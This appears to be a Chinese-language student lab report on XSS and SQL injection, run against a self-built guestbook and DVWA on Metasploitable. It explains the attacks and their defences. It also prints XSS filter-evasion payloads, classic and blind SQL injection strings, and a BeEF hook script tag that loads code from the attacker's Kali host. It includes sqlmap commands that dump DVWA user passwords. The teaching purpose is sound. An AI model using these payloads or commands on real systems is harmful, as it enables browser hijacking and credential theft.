1. 程式人生 > 資料庫 >網路滲透測試實驗三 XSS和SQL

網路滲透測試實驗三 XSS和SQL

網路滲透測試實驗三 XSS和SQL注入

實驗目的:瞭解什麼是XSS;思考防禦XSS攻擊的方法;瞭解SQL注入的基本原理;掌握PHP指令碼訪問MySQL資料庫的基本方法;掌握程式設計中避免出現SQL注入漏洞的基本方法;掌握網站配置。

系統環境:Kali Linux 2、Windows Server

網路環境:交換網路結構

實驗工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
XSS 實驗原理

1、什麼是XSS

XSS又叫CSS (Cross Site Script) 也稱為跨站,它是指攻擊者利用網站程式對使用者輸入過濾不足,輸入可以顯示在頁面上對其他使用者造成影響的HTML程式碼,從而盜取使用者資料、利用使用者身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。

2 、什麼是XSS攻擊

XSS攻擊是指入侵者在遠端WEB頁面的HTML程式碼中插入具有惡意目的的資料,使用者認為該頁面是可信賴的,但是當瀏覽器下載該頁面,嵌入其中的指令碼將被解釋執行,由於HTML語言允許使用指令碼進行簡單互動,入侵者便通過技術手段在某個頁面裡插入一個惡意HTML程式碼,例如記錄論壇儲存的使用者資訊(Cookie),由於Cookie儲存了完整的使用者名稱和密碼資料,使用者就會遭受安全損失。

如這句簡單的Java指令碼就能輕易獲取使用者資訊:alert(document.cookie),它會彈出一個包含使用者資訊的訊息框。入侵者運用指令碼就能把使用者資訊傳送到他們自己的記錄頁面中,稍做分析便獲取了使用者的敏感資訊。

3、 什麼是Cookie

Cookie,有時也用其複數形式Cookies,指某些網站為了辨別使用者身份、進行session跟蹤而儲存在使用者本地終端上的資料(通常經過加密)。定義於RFC2109(已廢棄),最新取代的規範是RFC2965。Cookie最早是網景公司的前僱員Lou Montulli在1993年3月的發明。

Cookie是由伺服器端生成,傳送給User-Agent(一般是瀏覽器),瀏覽器會將Cookie的key/value儲存到某個目錄下的文字檔案內,下次請求同一網站時就傳送該Cookie給伺服器(前提是瀏覽器設定為啟用Cookie)。Cookie名稱和值可以由伺服器端開發自己定義,對於JSP而言也可以直接寫入jsessionid,這樣伺服器可以知道該使用者是否為合法使用者以及是否需要重新登入等。

4、XSS漏洞的分類

儲存型 XSS:互動形Web應用程式出現後,使用者就可以將一些資料資訊儲存到Web伺服器上,例如像網路硬碟系統就允許使用者將自己計算機上的檔案儲存到網路伺服器上,然後與網路上的其他使用者一起分享自己的檔案資訊。這種接收使用者資訊的Web應用程式由於在使用上更加貼近使用者需求,使用靈活,使得其成為現代化Web領域的主導。在這些方便人性化的背後也帶來了難以避免的安全隱患。

如果有某個Web應用程式的功能是負責將使用者提交的資料儲存到資料庫中,然後在需要時將這個使用者提交的資料再從資料庫中提取出返回到網頁中,在這個過程中,如果使用者提交的資料中包含一個XSS攻擊語句,一旦Web應用程式準備將這個攻擊語句作為使用者資料返回到網頁中,那麼所有包含這個回顯資訊的網頁將全部受到XSS漏洞的影響,也就是說只要一個使用者訪問了這些網頁中的任何一個,他都會遭受到來自該Web應用程式的跨站攻擊。Web應用程式過於相信使用者的資料,將其作為一個合法資訊儲存在資料庫中,這等於是將一個定時炸彈放進了程式的內部,只要時機一到,這顆定時炸彈就會爆炸。這種因為儲存外部資料而引發的XSS漏洞稱為Web應用程式的Stored XSS漏洞,即儲存型XSS漏洞。

儲存型XSS漏洞廣泛出現在允許Web使用者自定義顯示資訊及允許Web使用者上傳檔案資訊的Web應用程式中,大部分的Web應用程式都屬於此類。有一些Web應用程式雖然也屬於此類,但是由於該Web應用程式只接受單個管理員的使用者資料,而管理員一般不會對自己的Web應用程式做什麼破壞,所以這種Web應用程式也不會遭到儲存型XSS漏洞的攻擊。

DOM-Based XSS漏洞: DOM是Document Object Model(文件物件模型)的縮寫。根據W3C DOM規範(http://www.w.org.DOM/),DOM是一種與瀏覽器、平臺、語言無關的介面,使得網頁開發者可以利用它來訪問頁面其他的標準組件。簡單解釋,DOM解決了Netscape的JavaScript和Microsoft的JScrtipt之間的衝突,給予Web設計師和開發者一個標準的方法,讓他們來訪問他們站點中的資料、指令碼和表現層物件。

由於DOM有如此好的功能,大量的Web應用程式開發者在自己的程式中加入對DOM的支援,令人遺憾的是,Web應用程式開發者這種濫用DOM的做法使得Web應用程式的安全也大大降低,DOM-Based XSS正是在這樣的環境下出現的漏洞。DOM-Based XSS漏洞與Stored XSS漏洞不同,因為他甚至不需要將XSS攻擊語句存入到資料庫中,直接在瀏覽器的位址列中就可以讓Web應用程式發生跨站行為。對於大多數的Web應用程式來說,這種型別的XSS漏洞是最容易被發現和利用的。

反射型XSS:僅對當次的頁面訪問產生影響。使得使用者訪問一個被攻擊者篡改後的連結(包含惡意指令碼),使用者訪問該連結時,被植入的攻擊指令碼被使用者瀏覽器執行,從而達到攻擊目的。

5、XSS的防禦

5.1基於特徵的防禦

XSS漏洞利用了Web頁面的編寫不完善,所以每一個漏洞所利用和針對的弱點都不盡相同。這就給XSS漏洞防禦帶來了困難:不可能以單一特徵來概括所有XSS攻擊。
傳統XSS防禦多采用特徵匹配方式,在所有提交的資訊中都進行匹配檢查。對於這種型別的XSS攻擊,採用的模式匹配方法一般會需要對“javascript”這個關鍵字進行檢索,一旦發現提交資訊中包含“javascript”,就認定為XSS攻擊。這種檢測方法的缺陷顯而易見:黑客可以通過插入字元或完全編碼的方式躲避檢測。
(1) 在javascript中加入多個tab鍵,得到 IMG SRC=“jav ascript:alert(‘XSS‘)” 。
(2) 在javascript中加入#x09編碼字元,得到 IMG SRC=“javascript:alert(‘XSS‘)” 。
(3) 在javascript中加入字元,得到 IMG SRC=“javascript:alert(‘XSS‘)” 。
(4) 在javascript中的每個字元間加入回車換行符,得到 IMG SRC=“j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r\nt\r\n:alert(‘XSS‘)”。
(5) 對"javascript:alert(‘XSS‘)"採用完全編碼,得到
IMGSRC=#x6A#x61#x76#x61#x73#x63#x72#x69#x70#x74#x3A#x61#x6C#x65#x72#x74#x28#x27#x58#x53#x53#x27#x29。
上述方法都可以很容易的躲避基於特徵的檢測。而除了會有大量的漏報外,基於特徵的還存在大量的誤報可能:在上面的例子中,對"http://www.target.com/javascript/kkk.asp?id=2345"這樣一個URL,由於包含了關鍵字“javascript”,也將會觸發報警。
基於程式碼修改的防禦
還有一種方法就是從Web應用開發的角度來避免:
(1) 對所有使用者提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST資料等,僅接受指定長度範圍內、採用適當格式、採用所預期的字元的內容來提交,對其他的一律過濾。
(2) 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防被攻擊 。

SQL注入攻擊

1、什麼是SQL注入攻擊

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字串,欺騙伺服器執行惡意的SQL命令。

2、為何會有SQL注入攻擊

很多電子商務應用程式都使用資料庫來儲存資訊。不論是產品資訊,賬目資訊還是其它型別的資料,資料庫都是Web應用環境中非常重要的環節。SQL命令就是前端Web和後端資料庫之間的介面,使得資料可以傳遞到Web應用程式,也可以從其中傳送出來。需要對這些資料進行控制,保證使用者只能得到授權給他的資訊。可是,很多Web站點都會利用使用者輸入的引數動態的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應用程式,從而可以對資料庫進行不受限的訪問。

因為SQL查詢經常用來進行驗證、授權、訂購、列印清單等,所以,允許攻擊者任意提交SQL查詢請求是非常危險的。通常,攻擊者可以不經過授權,使用SQL輸入從資料庫中獲取資訊。

3. 何時使用SQL注入攻擊

當Web應用向後端的資料庫提交輸入時,就可能遭到SQL注入攻擊。可以將SQL命令人為的輸入到URL、表格域,或者其他一些動態生成的SQL查詢語句的輸入引數中,完成上述攻擊。因為大多數的Web應用程式都依賴於資料庫的海量儲存和相互間的邏輯關係(使用者許可權許可,設定等),所以,每次的查詢中都會存在大量的引數。

4、MySQL簡介

SQL是結構化查詢語言的簡稱,它是全球通用的標準資料庫查詢語言,主要用於關係型資料的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等,常用命令知識如表所示。

select用於查詢記錄和賦值 select i,j,k from A (i,j,k是表A中僅有的列名)
select i=‘1’ (將i賦值為字元1)
select* from A (含義同第一個例句)
update用於修改記錄 update A set i=2 where i=1 (修改A表中i=1的i值為2)
insert 用於新增記錄 insert into A values(1, ‘2’,3) (向A表中插入一條記錄(i,j,k)對應為(1, ‘2’,3))
delete 用於刪除記錄 delete A where i=2 (刪除A標中i=2的所有表項)
from 用於指定操作的物件名(表,檢視,資料庫等的名稱) 見 select
where 用於指定查詢條件select *from A,B where A.name=B.name and A.id=B.id
and 邏輯與 1=1 and 2<=2
or 邏輯或 1=1 or 1>2
not 邏輯非 not 1>1
= 相等關係或賦值 見and、or、not
>,>=,<=,< 關係運算符 與相等關係(’=’)的用法一致。
(單引號)用於指示字串型資料 見select
,(逗號)分割相同的項 見select
萬用字元所有 見select

- -行註釋這裡的語句將不被執行!

/* */ 塊註釋 /* 這裡的語句將不被執行! */

5、實施SQL注入攻擊

5.1. 攻擊一

任何輸入,不論是Web頁面中的表格域還是一條SQL查詢語句中API的引數,都有可能遭受SQL注入的攻擊。如果沒有采取適當的防範措施,那麼攻擊只有可能在對資料庫的設計和查詢操作的結構瞭解不夠充分時才有可能失敗。
從SQL命令(更多的SQL命令見原理三)SELECT切入比較好。SELECT的使用格式如下:

SELECT datacolumn,otherdatacolumn FROM databasetable WHERE conditionismet

SQL在Web應用程式中的常見用途就是查詢產品資訊。應用程式通過CGI引數建立連結,在隨後的查詢中被引用。這些連結看起來通常像如下的樣子:

http://www.flowershop.com/store/itemdetail.asp?id=896

應用程式需要知道使用者希望得到哪種產品的資訊,所以瀏覽器會發送一個識別符號,通常稱為id。隨後,應用程式動態的將其包含到SQL查詢請求中,以便於從資料庫中找到正確的行。查詢語句通常的形式如下:

SELECT name,picture,description,price FROM products WHERE id=896

但是,使用者可以在瀏覽器中輕易的修改資訊。設想一下,作為某個Web站點的合法使用者,在登入這個站點的時候輸入了賬號ID和密碼。下面的SQL查詢語句將返回合法使用者的資訊:

SELECT accountdata FROM accountinfo WHERE accountid = ‘account’ AND password = ‘passwd’

上面的SQL查詢語句中唯一受使用者控制的部分就是在單引號中的字串。這些字串就是使用者在Web表格中輸入的。Web應用程式自動生成了查詢語句中的剩餘部分。
常理來講,其他使用者在檢視此賬號資訊時,他需要同時知道此賬號ID和密碼,但通過SQL輸入的攻擊者可以繞過全部的檢查。

比如,當攻擊者知道系統中存在一個叫做Tom的使用者時,他會在SQL請求中使用註釋符(雙虛線–),然後將下面的內容輸入到使用者賬號的表格域中。

Tom’–

這將會動態地生成如下的SQL查詢語句:

SELECT accountdata FROM accountinfo WHERE accountid=‘Tom’–’ AND password=‘passwd’

由於“–”符號表示註釋,隨後的內容都被忽略,那麼實際的語句就是:

SELECT accountdata FROM accountinfo WHERE accountid = ‘Tom’

沒有輸入Tom的密碼,卻從資料庫中查到了Tom使用者的全部資訊!注意這裡所使用的語法,作為使用者,可以在使用者名稱之後使用單引號。這個單引號也是SQL查詢請求的一部分,這就意味著,可以改變提交到資料庫的查詢語句結構。

在上面的案例中,查詢操作本來應該在確保使用者名稱和密碼都正確的情況下才能進行的,而輸入的註釋符將一個查詢條件移除了,這嚴重的危及到了查詢操作的安全性。允許使用者通過這種方式修改Web應用中的程式碼,是非常危險的。

5.2 攻擊二

一般的應用程式對資料庫進行的操作都是通過SQL語句進行,如查詢一個表(A)中的一個num=8的使用者的所有資訊,我們通過下面的語句來進行:

select* from A where num=8

對應頁面地址可能有http://127.0.0.1/list.jsp?num=8。

一個複合條件的查詢:

select* from A where id=8 and name=‘k’

對應頁面地址可能有http://127.0.0.1/aaa.jsp?id=8&name=k。

通常資料庫應用程式中where子句後面的條件部分都是在程式中按需要動態建立的,如下面使用的方法:

String N=request.getParameter(“id”); //獲得請求引數id的字串值

String K=request.getParameter(“name”);//獲得請求引數name的字串值

String str=“select* from A where id=”+N+" and name=’"+K+"’";//執行資料庫操作

當N,K從前臺獲得的資料中存在像“’”,“and 1=1”,“or 1=1”,“–”就會出現具有特殊意義的SQL語句,當上面http://127.0.0.1/aaa.jsp?id=8&name=k中的“id=8 --”時,在頁面地址中可能會有如下的表示:

http://127.0.0.1/list.jsp?n=8 –

上面的str變成了:
select* from A where id=8 – and name=‘k’

熟悉SQL Server 的人一定明白上面語句的意義,很明顯,–後面的條件and name='k’不會被執行,因為它被“–”註釋掉了。

當上面的K="XXX’or 1=1"時(“’”是“’”在字串中的轉義字元),在頁面地址中會有如下的表示:

http://127.0.0.1/list.jsp?name=XXX’or 1=1

同樣上面的語句變成了:

select *from A where id=8 and name=‘XXX’ or 1=1.

這條語句會導致查詢到所有使用者的資訊而不需要使用正確的id和name屬性,雖然結果不會在頁面上直接得到,但可以通過資料庫的一些輔助函式間接猜解得到,下面猜解的例子能夠說明SQL注入漏洞的危害性:

在SQL Server 2000中有user變數,用於儲存當前登入的使用者名稱,因此可以利用猜解它來獲得當前資料庫使用者名稱,從而確定當前資料庫的操作許可權是否為最高使用者許可權,在一個可以注入的頁面請求地址後面加上下面的語句,通過修改數值範圍,擷取字元的位置,並重復嘗試,就可以猜解出當前資料庫連線的使用者名稱:

and (SubString(user,1,1)> 65 and SubString(user,1,1)<90)

如果正常返回,則說明當前資料庫操作使用者帳戶名的前一個字元在A~Z的範圍內,逐步縮小猜解範圍,就可以確定猜解內容。SubString()是SQL Server 2000 資料庫中提供的系統函式,用於獲取字元字串的子串。65,和90分別是字母A和Z的ascii碼。

再有,在資料庫中查詢使用者表(需要一定的資料庫操作許可權),可以使用下面的複合語句:

and (select count(*) from sysobjects where xtype=‘u’)>n
n取1,2,……,通過上面形式的語句可以判斷資料庫中有多少使用者表。

可以通過and(substring((select top 1 name from sysobjects where xtype =‘u’),1,1)=字元)的形式逐步猜解出表名。

利用構建的SQL注入短語,可以查詢出資料庫中的大部分資訊,只要構建的短語能夠欺騙被注入程式按你的意圖執行,並能夠正確分析程式返回的現象,注入攻擊者就可以控制整個系統。

基於網頁地址的SQL注入只是利用了頁面地址攜帶引數這一性質,來構建特殊sql語句以實現對Web應用程式的惡意操作(查詢,修改,新增等)。事實上SQL注入不一定要只針對瀏覽器位址列中的url。任何一個數據庫應用程式對前臺傳入資料的處理不當都會產生SQL注入漏洞,如一個網頁表單的輸入項,應用程式中文字框輸的入資訊等。

6、防範SQL注入方法彙總

Web開發人員認為SQL查詢請求是可以信賴的操作,但事實卻是恰恰相反的,他們沒有考慮到使用者可以控制這些查詢請求的引數,並且可以在其中輸入符合語法的SQL命令。

解決SQL注入問題的方法再次歸於對特殊字元的過濾,包括URL、表格域以及使用者可以控制的任何輸入資料。與SQL語法相關的特殊字元以及保留字應當在查詢請求提交到資料庫之前進行過濾或者被去除(例如跟在反斜號後面的單引號)。過濾操作最好在伺服器端進行。將過濾操作的程式碼插入到客戶機端執行的HTML中,實在是不明智的,因為攻擊者可以修改驗證程式。防止破壞的唯一途徑就是在伺服器端執行過濾操作。避免這種攻擊更加可靠的方式就是使用儲存過程。具體可以通過以下若干方法來防範SQL注入攻擊。

(1) 對前臺傳入引數按的資料型別,進行嚴格匹配(如檢視描述資料型別的變數字串中,是否存在字母)。
(2) 對於單一變數(如上面的K,N)如果有必要,過濾或替換掉輸入資料中的空格。
(3) 將一個單引號(“’”),替換成兩個連續的單引號(“’’”)。
(4) 限制輸入資料的有效字元種類,排除對資料庫操作有特殊意義的字元(如“–”)。
(5) 限制表單或查詢字串輸入的長度。
(6) 用儲存過程來執行所有的查詢。
(7) 檢查提取資料的查詢所返回的記錄數量。如果程式只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。
(8) 將使用者登入名稱、密碼等資料加密儲存。加密使用者輸入的資料,然後再將它與資料庫中儲存的資料比較,這相當於對使用者輸入的資料進行了“消毒”處理,使用者輸入的資料不再對資料庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。
總而言之,就是要儘可能地限制使用者可以存取的資料總數。另外,對使用者要按“最小特權”安全原則分配許可權,即使發生了SQL注入攻擊,結果也被限制在那些可以被正常訪問到的資料中。

實驗步驟:

XSS部分:利用Beef劫持被攻擊者客戶端瀏覽器。
實驗環境搭建。
在這裡插入圖片描述
角色:自行搭建的留言簿網站。存在XSS漏洞;(IIS或Apache、guestbook搭建)

攻擊者:Kali(使用beEF生成惡意程式碼,並通過留言方式提交到留言簿網站);

被攻擊者:訪問留言簿網站,瀏覽器被劫持。

1、利用AWVS掃描留言簿網站,發現其存在XSS漏洞

在這裡插入圖片描述

2、 Kali使用beef生成惡意程式碼。

3、訪問http://留言簿網站/message.asp;將以下惡意程式碼寫入網站留言板,

<script src="http://Kali的IP地址:3000/hook.js"></script>

4、管理員登入login.htm,賬號密碼均為admin,稽核使用者留言。只要客戶端訪問這個伺服器的留言板,客戶端瀏覽器就會被劫持可以在beef上看到。

在這裡插入圖片描述
選擇Redirect Browser,填入某地址,然後點選Execute。就可以發現網頁被重定向了。

5、回答問題:實驗中XSS攻擊屬於哪種型別?
本次實驗中的XSS攻擊屬於注入型XSS攻擊。
SQL注入部分:DVWA+SQLmap+Mysql注入實戰

實驗環境搭建。啟動Metasploitable2虛擬機器。裡面有搭建好的DVWA
在這裡插入圖片描述

1、注入點發現。首先肯定是要判斷是否有注入漏洞。
在輸入框輸入1,返回
ID: 1
First name: admin
Surname: admin
返回正常;
再次輸入1’,報錯,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
此時可以斷定有SQL注入漏洞,
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap進行注入攻擊。將DVWA安全級別設定為最低;

2、列舉當前使用的資料庫名稱和使用者名稱。
輸入命令:

sqlmap -u "http://這裡填ip/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; 
PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" --current-db
sqlmap -u "http://這裡填ip/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;
 PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" --current-user

3、列舉資料庫使用者名稱和密碼
輸入命令:

sqlmap -u "http://這裡填ip/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; 
PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -D dvwa --tables
sqlmap -u "http://10.34.80.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;
PHPSESSID=edc3d366bb72538cb8af3df2bbf19979" -D dvwa -T users -C user,password --dump

檢視到down到本地的使用者名稱與密碼。

USERPASSWORD
adminpassword
gordonbabc123
1337charley
pabloletmein
smithypassword

小結:瞭解什麼是XSS;思考防禦XSS攻擊的方法;瞭解SQL注入的基本原理;掌握PHP指令碼訪問MySQL資料庫的基本方法;掌握程式設計中避免出現SQL注入漏洞的基本方法;掌握網站配置。